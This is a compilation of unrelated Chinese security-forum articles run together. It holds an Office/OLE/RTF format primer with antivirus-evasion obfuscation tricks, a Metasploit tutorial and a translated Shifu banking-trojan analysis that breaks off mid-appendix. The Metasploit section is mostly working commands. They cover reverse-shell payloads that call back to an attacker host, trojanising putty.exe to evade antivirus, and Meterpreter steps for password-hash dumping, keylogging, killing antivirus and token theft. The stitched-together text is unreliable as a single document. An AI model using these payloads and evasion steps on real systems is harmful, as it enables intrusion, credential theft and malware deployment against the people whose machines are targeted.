3. [ DNS-320 :: H/W Rev. Ax :: F/W 2.05b10 and Lower (older) :: CVE-2019-16057 :: Remote Command Execution / RCE ](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10123) | 社区文章 |
# Office文件格式基础知识（1）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文系作者此前研究office文件格式解析及漏洞挖掘和分析时梳理的部分基础知识，文章部分内容可能会借鉴他人成果，由于时间久远所以无法一一考证。本文仅限于初学者作为参考，如有笔误，请见谅。
## Office文档格式简要介绍
OpenXML（OOXML）是微软在Office 2007中提出的一种新的文档格式，Office
2007中的Word、Excel、PowerPoint默认均采用OpenXML格式。OpenXML在2006年12月成为了ECMA规范的一部分，编号为ECMA376；并于2008年4月通过国际标准化组织的表决，并于两个月后公布为ISO／IEC
29500国际标准。
另一种结构是office 97-03的存储规范：OLE。它是一种对象链接和嵌入的技术，该技术可以包含文本，图形，电子表格甚至其他二进制数据。
### Docx（Open XML）文档结构
Docx这种新的word 格式有三个主要的组成部分：部件、内容类型和关系。
**部件**
部件就是对应于office文档解压后的一个个文件。这些文件都是包中的文档部件。
Word2007的文档部件大致有以下几种：
> 注释；
>
> 格式定义；
>
> 列表定义；
>
> 页眉；
>
> 图表；
>
> 关系；
>
> 文档内容；
>
> 图片。
在word中，使用单独的文件（xml）来表示文档中的每个部分以及附加的内容。他们需要依赖于各部件之间的正确关系保证文件的完整和有效性，如果可以准确保持部件之间的关系，那么文件结构可以任意更改。
以docx文档为例，说明openxml文档内容的结构。随手建立一个docx文档，使用zip解压到文件夹中，他的目录结构如下：
事实上，在word2007及以上的版本当中，一个文档则是由一个文件夹（或者说容器），由内部的部件各自定义属性和数据，并相互依赖而产生的。一个文件可能会包含这些目录和组件：
**[Content_Types].xml**
这个文件描述的是整个文档内容的类型，把各个xml文件组合成一个整体。
**docProps文件夹**
这个文件夹中的xml记录了docx文档的主要属性信息
Core.xml：描述文件的创建时间，标题，主题和作者等给予open xml约定文档格式的通用文件属性
App.xml：描述文档的其他属性，文档类型，版本，只读信息，共享，安全属性等特定的文件属性
**rels 文件夹**
这个文件夹存放了所有指定的rels文件
**rels文件**
这些文件描述了文档结构中的起始关系，也可以叫做关系部件
**item1.xml**
包含了一些文档中出现的数据。例如自定义XML数据部件。
**内容类型**
每个文档部件都有一个特定的内容类型。一个部件的内容类型描述了这种文件类型的内容。例如，XML部件包含了Word
XML格式定义的标记，而内容类型可以用来分析文档的组成。
典型的内容类型是以word application开头，然后是厂商的名称。在内容类型中，word
vender被简写为vnd。所有内容类型都被指定为以application/vnd.ms-word开头。如果内容类型是一个XML文件，那么它的URI将以+xml结尾。其它的非XML内容的类型，例如图片，则没有这种结尾。下面是一些典型的内容类型：
1.application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml
它是一个描述Word文档中的尾注文档部件的内容类型。其中，+xml表示它是一个XML文件。
2.application/vnd.openxmlformats-package.core-properties+xml
它是一个描述核心文档属性部件的内容类型。其中，+xml表示它是一个XML文件。
3.image/png
图片的内容类型。其中没有+xml部分 － 表示内容类型不是XML文件。
**部件关系**
部件关系记录了文档部件之间的逻辑连接，比如根文档部件拥有一个`http://schemas.openxmlformats.org/package/2006/relationships/header`类型到application/vnd.openxmlformats-officedocument.wordprocessingml.header+xml
内容类型部件的关系。这表示部件之间的关系是，目标部件是源部件的页眉。而这个页眉部件可能也有自己的关系。在包中，可以通过_rels目录中的.rels文件进行关系定位。
构建关系的方法是：每一个关系中都有一个源一个目的，源是关系命名的部件。例如，document.xml.rels中所有的关系都将document.xml作为它们的源。每个.rels文件都包含一个<relationships>元素，每个元素都对应一个ID，包括目标部件的内容类型。
### Doc文档结构
Word 97-03的后缀是doc，doc文件本身是一个ole类型文件。OLE (Object Linking and Embedding)文 件 主 要
由 storages 和 streams
组成，而ole本身其实是一种面向对象的技术，该技术允许程序之间链接和嵌入对象数据，建立复合文档。
WordDocument stream 中保存的最重要的数据结构是 FIB（File InformationBlock），FIB 中除了保存
doc文件的一些基本信息（如格式版本）之外，大部分字段是指向其它结构的指针和标识其结构大小（见图2）。例如 fcClx 字段表示 Clx 结构在 Table
stream中的偏移，lcbClx 字段标识
Clx结构的大小。类似的，名称以“fc”开头的字段都表示对应结构在某个stream中的偏移，对应的以“lcb”开头的字段则表示其结构大小。
### rtf文档结构
富文本格式（Rtf, rich text
format）是微软的文本和图像信息交换制定的格式。Rtf文件可以划分为文件头和文档区两个部分组成。文件头和文档区由文本、控制字和控制符组成，同时利用{…}来表明层级关系。
Rtf文件内容 | 控制字 | 解释
---|---|---
文件头 | rtfN | 版本号
| fonttbl | 字体表
| filetbl | 文件表
| listtable | 编目表
文档区 | info | 信息组
| pict | 图片
| object | 对象
| sv | 绘图对象值
| sn | 绘图对象名称
| objupdate | 自动更新机制。
( **objupdate很重要，攻击样本中经常使用，确保OLE对象自动加载、更新** )
## OLE简单说明
前面已经说到OLE的基本概念，现在我们先说说不同格式文档的OLE嵌入。OLE就其本质而言，是COM对象的子集，是一种基于组件对象模型（COM）的对象链接和嵌入技术。
### 不同嵌套控制字及对应的文件格式
OLE对象控制字和相应解释如下：
对象类型 | 解释
---|---
objemb | 嵌入图片、文档、音频等
objlink | 嵌入链接文件
objautlink | 嵌入自动链接对象类型。
objsub | Macintosh版管理签署对象类型。
objpub | Macintosh版管理发布对象类型。
objicemb | MS Word for Macintosh可安装命令（IC）嵌入对象类型。
objhtml | 超文本标记语言（HTML）控件对象类型。
objocx | 嵌入ActiveX控件
OLE对象数据控制字和对应解释如下：
对象数据 | 解释
---|---
objdata | 采用特定格式表示的对象数据；OLE对象采用OLESaveToStream结构。常见恶意文件样本关键字。
objalias | Macintosh编辑管理器发行对象的别名记录。
objsect | Macintosh编辑管理器发行对象的域记录。
### OLE对象数据结构解析
上面的表中，3个对象数据控制字都可以被对象类型引用。OLE对象数据包括头部（ObjectHeader）和数据流（ObjectStream），它们是通过D0CF11E0A1B11AE1
标志符进行区分。其中头部由OLE 版本（4 字节）、格式ID（4
字节）、程序名长度（4字节）、程序名和数据流大小（4字节）组成。用一个CVE-2017-0199溢出文档中嵌入的OLE对象，可以对它做一下解析。对象内容如下：
{*objdata
0105000002000000090000004f4c45324c696e6b000000000000000000000a0000
**d0cf11e0a1b11ae1**
000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffff
上面数据流中加粗字符前面的是OLE对象的头部，各字段解析内容如下：
数据 | 解释
---|---
01050000 | OLE Version
02000000 | Format ID
09000000 | ProgName Size（0x09）
4f4c45324c696e6b00 | ProgName (OLE2Link)
000a0000 | Data Size
**d0cf11e0a1b11ae1** 后面的数据就是ObjectStream的内容了，解析的时候需要将ascii
转换成hex才可以识别。
### 部分office文档混淆免杀技术
**RTF文档格式混淆**
**文件头混淆**
Rtf文档正常的文件头是 **{rtf1** ，但解析器只识别前四个字节{rt}，所以可以通过修改文件头达到样本混淆的效果。
{rt{{{{info{authorismail-
{rtÈÐÏ
**无用字符混淆**
经过测试，rtf空格回车和不可见字符不会被解析器识别，所以可以通过在rtf样本中嵌入0x20以下和0x7f以上的字符完成混淆效果。
{rtf1object112objocx9912{*objdata54541 {{0……
**混淆objdata头部**
前文已经介绍过，objdata是OLE嵌入对象数据控制字，实际测试、objdata可以写成: bjdata (空格为0x00)这种形式
**大小写混淆**
Rtf解析器对大小写不敏感，而OLE data部分常用小写形式，所以OLE标识符可以写成 **D0cf11e0a1b11ae1** 或任意大小写组合。
**多重嵌套**
rtf中的组可以多重嵌套，但解释器会跳过无用的组和控制符，所以可以通过嵌套无用组达到混淆效果。
{{}{}{}{}ddd{}ddd}
**Bin混淆**
rtf
binxx关键字表示后面的xx个字符将以二进制方式读取，实质上就是一段二进制的OLESS头部的数据。所以可以通过构造binxx后面的若干字节达到混淆的效果。
**利用OLE特性的免杀技术**
目前发现了一些通过插入OLE2Link达到免杀效果的样本，位置比较灵活：
1. 页脚文件中有一个OLE2Link对象
1. rels文件中插入OLE2Link
目前github已有类似的[开源项目](https://github.com/ryhanson/phishery)，可以生成插入OLE2Link对象的样本文档。将link指向的地址设为bit.ly等类似提供短链接生成的服务，可以增强免杀效果。
**构造特殊的OLE对象**
前面已经说到，正常RTF文档插入OLE时，首先是控制字“objdata”，然后是OLE 版本（4字节）、格式ID（4 字节）、程序名长度（4
字节）、程序名和数据流大小（4字节），而后是Compound File Binary Format（复合二进制文档）的标识符，也就是
**d0cf11e0a1b11ae1**
，后面是数据流（ObjectStream）。但是可以通过构造特殊的OLE对象，通过去掉部分结构上的关键字达到绕过杀软查杀的效果。
（360威胁情报中心-利用Office公式编辑器特殊处理逻辑的免杀技术分析（CVE-2017-11882））
这是上面是一个seebug发现的样本。我们可以看到objdata后面的头部没有问题，但是没有D0 CF 11
E0的标识符。至于为什么能够成功打开公式编辑器并利用漏洞，下面解析一下。
（360威胁情报中心-利用Office公式编辑器特殊处理逻辑的免杀技术分析（CVE-2017-11882））
在这个过程当中需要注意的是，WINWORD.EXE在调用ole32!OleLoad函数前，会解析CFB文件将CFB文件的流对象写入剪切板并且将Embedded对象数据块（即d0cf11e0a1b11ae10对应的块）的Clsid值覆盖之前通过ProgID获取的Clsid，也就是最终以Embedded对象数据块内的clsid为准，
**所以CLSID仍然是Equation.3对应的CLSID** 。所以office 能够将公示对象传递给Equation处理。
Equation可以逻辑上可以处理Equation Native和Ole10Native两种流，在EquEdt32.exe打开Equation
Native流失败的情况，会处理OleNative流。
（360威胁情报中心-利用Office公式编辑器特殊处理逻辑的免杀技术分析（CVE-2017-11882））
然后就可以转入漏洞触发环节。根据上面的流的处理逻辑可以大致总结出免杀样本触发Equation漏洞的过程：
1. 攻击者在objdata后附带非CFB格式的数据（只有公式数据的01Ole10Native流），迫使Office通过objdata
header中的流名字（Equation.3）来查找对应处理的clsid，转入处理流程。
2. 由于附带的是公式对象的01Ole10Native流（030101…部分数据），所以EquEdt32.exe进程打开Equation
Native流失败，转而以objdata
header中指定的数据长度直接处理01Ole10Native流，触发漏洞利用。
这种方式可以明显避过杀软对Equation.3 ProgID的检测，也可以通过去掉CFB标识符躲避杀软的检测。
## 深入理解OLE
为了深入理解OLE的原理，需要了解当含有OLE的文档打开时会有什么操作
#### 关于OLE加载初始化
OLE加载初始化是依靠ole32!OleLoad() API完成的
这个API的主要步骤：
步骤1：调用CoCreateInstance来初始化OLE对象
这里的CLSID在rtf和openxml文档中获取的方法不同：
> rtf是通过OLE对象头部的 _progID_ 进行转化得来的
>
> openxml是通过OLESS格式的二进制数据中读入的
步骤2：调用IPersistStorage来初始化OLE对象的初始状态(数据)
MSDN对该函数的定义是：允许容器应用程序将存储对象传递给其中一个包含的对象，并加载和保存存储对象。
此接口支持结构化存储模型，其中每个包含的对象都有自己的存储，嵌套在容器的存储中。
OLE初始化时，就是会用load()方法为OLE对象加载初始化的状态。
这里的Storage Data在rtf和openxml文档中获取的方法不同：
Rtf是OLE1 NativeData中获得的，
Openxml格式的Storage Data在OleObject.bin文件中的Contents节中获得。
### 关于OLE Verb动作
关于OLE Verb动作
OLE
Verb动作本质上是依靠调用IOleObject::DoVerb方法完成的。MSDN对该方法的定义如下：
这里需要注意的是第一个参数，iVerb。这个参数的MSDN定义是：IOleObject
::EnumVerbs返回的OLEVERB结构中的verb动作的编号。
### 利用OLE可达的攻击面
**IPersistStorage::Load**
通过构造伪造的Storage数据，可能会在load数据时造成内存破坏。多数已发现的OLE漏洞都是利用IPersistStorage::Load方法。
**CVE-2012-0158**
调试过程：
Windbg加载winword打开poc.doc，访问违例，EIP指向0x41414141，查看函数调用栈发现没有任何内容。利用Immunity进行调试，查看栈的内容是这样的。
从栈结构看，0x275c8a0a很可能是崩溃函数的返回地址。
IDA查看静态代码是这样的。
可以看到sub_275c876d是一个memcpy的代码，在这个函数里，两次完成memcpy，第一次是copy
一个0xc字节的数据段，并判断dwBytes也就是第一次copy的最后四个字节是否大于等于8，如果条件成立则第二次复制。这里面有一个问题，sub_275c89c7只分配了0x14字节的栈空间，第一次copy利用了0xc字节空间，后面只有0x8字节空间可以利用，而第二次复制的数据大小是受第一次复制结构体的最后一个字节的成员控制的，如果它大于8，那么复制将会破坏sub_275c89c7的栈空间，造成栈溢出。事实上调试过程中也可以看到，函数处理数据时首先会匹配0x6A626F43地址中的内容。即验证读入的是否为Cobj对象的数据。而CVE-2012-0158溢出文档中查找Cobj对象可以看一下，Cobj对应的hex流为’
**436f626a** ‘
Cobj对象的长度为0x8282，就一定会溢出的了。研究人员分析，这个漏洞本质上就发生在IPersistStorage::Load这个方法当中。
**IOleObject::DoVerb**
**这个攻击面主要代表是沙虫漏洞（CVE-2014-4114），如有必要的话会在后续中给出调试过程的信息**
**CLSID相关联的DLL加载**
注册表项HKEY_CLASSES_ROOTCLSID中存放着dll相关的CLSID，前面OLE初始化的内容已经说过，OLE对象由CLSID指定，CLSID在rtf和openxml文档中都可以被获取，也就是说可以
**由攻击者自由配置。** 这样就会导致很多后果：
1. 可以在OLE容器中配置没有ALSR的dll，绕过ALSR（比如mscormmc.dll）
2. 内存破坏，通过加载一个“未准备好的”dll，可以破坏内存（CVE-2015-1770）
3. Dll劫持，可以通过控制工作目录去加载想要执行的dll（CVE-2015-2369）
## Office文档xml解析类的攻击面
Msxml库是office负责解析xml数据的动态链接库，漏洞通常发生在异构的标签数据，有的是因为标签不正确闭合，有的是通过精心构造数据混淆数据类型，如有必要，该部分内容将在后续中分享。
## 调试office漏洞的部分工具
1. Windbg+符号文件
2. IDA pro + bindiff工具
3. Immunity debugger（崩溃的时候方便查看栈结构）
4. Github oletools项目
5. Offvis工具
6. Olefileview工具
7. 010 editor（支持ole格式）
8. Msdn
## 部分参考链接
<https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf>
<http://hustlelabs.com/stuff/bh2009_dowd_smith_dewey.pdf>
<https://docs.microsoft.com/en-us/office/open-xml/understanding-the-open-xml-file-formats> | 社区文章 |
## 前言
`Metasploit`就是一个漏洞框架。它的全称叫做`The Metasploit
Framework`，简称叫做`MSF`。`Metasploit`作为全球最受欢迎的工具，
不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。
### 0x01 基本操作
#### 1、运行
终端中输入`msfconsole`
### 2、建立搜索缓存（数据库）
启动`PostgreSQL`数据库服务：`service postgresql start`监听`5432`端口
初始化`Metasploit`数据库:`msfdb init`
查看数据库联接情况:`msfconsole db_status`
建立数据库缓存:`msfconsole db_rebuild_cache`
### 3、专业术语
– Exploit，攻击工具/代码
– Payload，攻击载荷
– Shellcode
– Module，模块
– Listener，监听器
### 4、常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用
#### 0x01 Metasploit功能程序
`msfvenom`（攻击载荷生成和编码器）
主要参数：
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式
使用msfvenom -l 可以查看可以利用payload
msfvenom -l | grep windows | grep x64 | grep tcp 选择payload
**1、生成可执行文件**
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
**2、监听**
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)
**3、实例**
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j -z
-j(计划任务下进行攻击，后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)
msf exploit(handler) > sessions -i 2 选择会话
msf exploit(handler) > sessions -k 2 结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话
#### 0x02 Meterpreter后攻击
`Meterpreter`提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。
常用命令：
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数：
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式：去掉如下参数前面的注释
#### 0x03 免杀
**1、多次编码免杀**
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe
**2、自定义二进制代码的文件模板免杀**
使用“putty.exe”作为文件模板，而且随着putty程序运行而隐蔽同时运行，还使用编码器进行了编码。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe
**3、使用Veil生成免杀代码**
下载地址：
1：<https://github.com/Veil-Framework/Veil-Evasion>(只集合了`Evasion`)
2：<https://github.com/Veil-Framework/Veil>
安装：（建议使用`git`下载，否则无法更新）
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c
一路回车就行，可能中间或出现让你安装`python、ruby、go`语言等，默认安装就行
运行：
cd ~/Veil
./Veil.py
使用`Veil-Evasion`工具：
use Evasion
列举所有模块：
list
使用某个模块：
use
use c/meterpreter/rev_http.py
设置变量:
set
生成可执行代码:
generate | 社区文章 |
# 【木马分析】针对升级后Shifu银行木马的深度分析
|
##### 译文声明
本文是翻译文章，文章来源：researchcenter.paloaltonetworks.com
原文地址：<http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：260RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
银行木马Shifu在2015年首次被披露。Shifu是基于Shiz的代码整合了Zeus的技术。攻击者用Shifu盗取俄罗斯、英国、意大利等其他国家的网上银行的网站的证书。
Palo Alto Networks Unit
42研究发现Shifu的作者在2016年更新了。我们的研究发现Shifu整合了多种新技术和躲避检测技术。有些如下：
利用Windows的CVE-2016-0167的提权漏洞获得SYSTEM权限。之前的Shifu使用CVE-2015-0003达到相同的目的
用一个Windows的atom来判断之前版本是否感染。
用“push-calc-ret”API混淆技术在恶意软件分析时隐藏函数调用
用可变的.bit域名
我们也确认了新的链接暗示了Shifu可能不是基于Shiz木马，但是可能是最新版Shiz的变种。
本文主要的目的是介绍Shifu的新特征。下面是新特征的概述，在最后的附录包括详细的技术细节。
**0x01 Shifu的开发与新特征**
本文分析的Shifu是由几步payload组成，在2016年编译的。下图说明了在执行后解密的原始loader包含的不同的文件：
图1. Shifu的文件结构
原始的混淆的loader（x86 exe）包含加密的二级injector（x86
exe）。它用了3层解密，子过程用函数VirtualAlloc()为下一层分配内存。二级injector被解密到内存中并且原始loader覆写它。接下来节标志被调整和IAT重建。最后跳转到二级injector的入口点执行。
二级injector包含两个CVE-2016-0167（x86/x64）的利用，编译于2016年2月。在这个编译的时间这个漏洞的补丁还不存在。然而这个恶意程序的编译时间是2016年6月。这个可能暗示在这个版本之后有人在那时能获得0day利用。这个利用用了一个有趣的技术使复制原始数据到内存成为可能。为了使可执行文件能在内存中执行，它用了一个自定义的shellcode型PE加载器作为PE
overlay数据追加在这两个版本的利用后面。Shellcode充分调整内存数据以获得一个可靠的可执行文件的内存映像并执行利用。这么做，文件只需要被拷贝进内存中，通过shellcode就能执行。
我们也发现多种其他的独立版本的利用（x86/x64），但是也是像Shifu一样被嵌入在injector中。另外，我们确定一个版本的Vawtrak包含了早期的利用，根据编译时间可以追溯到2015年11月。这个Vawtrak样本自己的编译时间是2016年1月，因此是第一个为我们知道的利用这个漏洞的样本。
二级injector包含了集中反分析技巧，由于之前版本相同。它也包含两种命令行参数说明这个恶意程序还在开发中。另外，二级injector用一个atom校验系统是否已经被感染，而不是使用现在最常用的互斥量。Atom的用法不是一个新的技术但是没有被广泛使用。
Main payload加密压缩的存储与二级injector的.tls节中。它首先用aPlib库解密解压。Main
payload把原始loader拷贝到AppData目录并在启动目录创建一个Jscript文件。二级injector将main
payload注入到32位的svchost实例中，用一个混淆技术给它的API函数打补丁，使得静态和动态分析变得更加困难。
和前一个版本比较，这个main payload包含了一些更新。包括在受害者系统上搜索的字符串、浏览器列表、命令。Main
payload用顶级域名.bit作为C&C服务器。域名、user-agent字符串和URL参数用修改版的RC4算法加密。域名暗示了攻击者可能位于乌克兰或有乌克兰背景。
不幸的是，在分析时这个C&C服务器不能响应任何命令了，因此进一步的分析不太可能。这个信息被正常的下载到受害者的磁盘上。功能上，这个main
payload挂钩svchost.exe进程的一些API函数。而且，它用Apache服务器做web注入。如果成功的从C&C服务器，恶意软件利用分层服务挂钩winsock
API，用于拦截和修改出入的网络流量。它也使用在其他银行木马中发现的正常的方法挂钩到浏览器网络函数。
二级injector和main payload都包含了大量的从没使用过的字符串。这个说明作者不是匆忙编译了恶意程序就是开发过程缓慢。
“IntelPowerAgent6”能在上个版本看见，这个版本没看见有“IntelPowerAgent32“。为了二级injector能够创建一个用来校验系统是否被感染的atom，这个main
payload也创建了一个基于相同方法的互斥量（详见附录）。然而这个互斥量用了一个硬编码的前缀“DAN6J0-”放在一个字节序列的前面：“{DAN6J0-ae000000d2000000e100}”。
图2. Shifu的互斥量和相关的svchost进程
**0x02 Shifu,Shiz和其他相关的工具**
银行木马Shifu是基于一个目前还存活的比较老的名为Shiz/iBank的源码。Shiz首先被发现于2006年，已经发展了好几代。它以前专注于俄罗斯经融机构。后来变得国际化转向了意大利的银行。过去5年我们跟踪到了多个版本：2代到4代（2011年），5代（2013年/2014年）。上一次看到还是在2014年（内部版本是5.6.25）,并且它的代码风格不同于第4代。它看起来像是另一个人开发的，可能说明代码被卖或分享。连接C&C服务器的查询字符串很好的支持了我们的想法：
botid=%s&ver=5.0.1&up=%u&os=%03u<ime=%s%d&token=%d&cn=reborn&av=%s
我们看到组织名包含字符串“reborn”（重生）。
Shifu首先被发现于2015年中期，并且我们认为Shiz发展了5代，变得更加国际化。
过去几年我们不仅跟踪了Shiz，也发现了几个号称来自相同作者的其他的恶意工具。收集样本说明了作者已经开发了一整套金融相关的恶意程序。不清楚作者是不是为一个组织工作或者他们自己单独行动。这些工具主要第五代Shiz的代码。
我们能将这些工具联系在一起，因为他们都包含相同根目录的PDB路径：
Z:coding…
而且，大部分工具也是基于Shiz代码的，因为代码风格和使用的API很相似。同时用bindiff比较工具代码也高度相似。这些工具网络功相关的字符串也和Shiz连接C&C服务器的类似。
根据去年来自FireEye的同事描述，PDB路径也是如下：
Z:codingprojectmainpayloadpayload.x86.pdb
其他工具有以下的PDB路径，很像来自同一个作者：
Z:codingcryptorReleasecrypted.pdb
Z:codingmalwaretestsReleasecryptoshit.pdb
Z:codingmalwareRDPoutputReleaserdp_bot.pdb
Z:codingmalwareScanBotReleasebot.pdb
内部名为“cryptor”的恶意程序包含了一个加密的样本“BifitAgent”，这个恶意程序攻击金融业软件。BifitAgent的作者也可能是同一个，不过我们没有发现一些证据。根据编译时间，大部分样本创建于2013年的10月和11月。
名为“rdp_bot”是一个用远程桌面协议获取访问计算机的权限的恶意程序。它用和Shifu一样的被修改的RC4加密算法。这个工具可能和Shiz一起使用，因为攻击者能够直接用受害者的电脑做欺诈行为。通过这么做，能够欺骗银行的校验IP地址、浏览器指纹或键盘布局的反欺诈系统。这个工具基于Alisa
Esage的RDP研究。这个样本可以追溯到2013年11月。
名为“cryptoshit”的工具包含了加密的rdp_bot样本，并且用了相同的修改版RC4加密算法。这个样本追溯到2013年9月和10月，2014年的1月。
内部名为“ScanBot”的恶意程序是一个小的后门程序，它使用了一个超级轻量的正则库来扫描受害者电脑的文件。这个样本追溯到2013年6月。
**0x03 样本**
Initial obfuscated loader
d3f9c4037f8b4d24f2baff1e0940d2bf238032f9343d06478b5034d0981b2cd9
368b23e6d9ec7843e537e9d6547777088cf36581076599d04846287a9162652b
e7e154c65417f5594a8b4602db601ac39156b5758889f708dac7258e415d4a18
f63ec1e5752eb8b9a07104f42392eebf143617708bfdd0fe31cbf00ef12383f9
Second stage injector
003965bd25acb7e8c6e16de4f387ff9518db7bcca845502d23b6505d8d3cec01
1188c5c9f04658bef20162f3001d9b89f69c93bf5343a1f849974daf6284a650
Exploit injector
e7c1523d93154462ed9e15e84d3af01abe827aa6dd0082bc90fc8b58989e9a9a
CVE-2016-0167 exploit (x86)
5124f4fec24acb2c83f26d1e70d7c525daac6c9fb6e2262ed1c1c52c88636bad
CVE-2016-0167 exploit (x64)
f3c2d4090f6f563928e9a9ec86bf0f1c6ee49cdc110b7368db8905781a9a966e
Main payload
e9bd4375f9b0b95f385191895edf81c8eadfb3964204bbbe48f7700fc746e4dc
5ca2a9de65c998b0d0a0a01b4aa103a9410d76ab86c75d7b968984be53e279b6
**0x04 附录——技术细节**
**Second Stage Injector 分析**
这个second stage injector是包含了一个利用injector（x86
DLL），继而包含两个内嵌的CVE-2016-0167利用（x86/x64 DLL）。second stage
injector也包含一个加密的并用aPlib压缩的main payload（x86
DLL），位于它的.tls节区。为了解密，它用一个修改版RC4加密算法解密存储在.rsrc节的数据。重要的字符串在.data节，并用密码0x8D异或加密。解密后的字符串如下：
AddMandatoryAce
ADVAPI
Advapi32.dlladvapi32.dllws2_32.dll
WPUCloseEvent
WPUCloseSocketHandleWPUCreateEvent
WPUCreateSocketHandle
WPUFDIsSet
WPUGetProviderPath
WPUModifyIFSHandle
WPUPostMessage
WPUQueryBlockingCallbackWPUQuerySocketHandleContext
WPUQueueApc
WPUResetEvent
WPUSetEvent
WPUOpenCurrentThreadWPUCloseThread
WSPStartup
> %1rndel %0
software\microsoft\windows\currentversion\run
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/echo
rundll32.exe shell32.dll, ShellExec_RunDLL %s
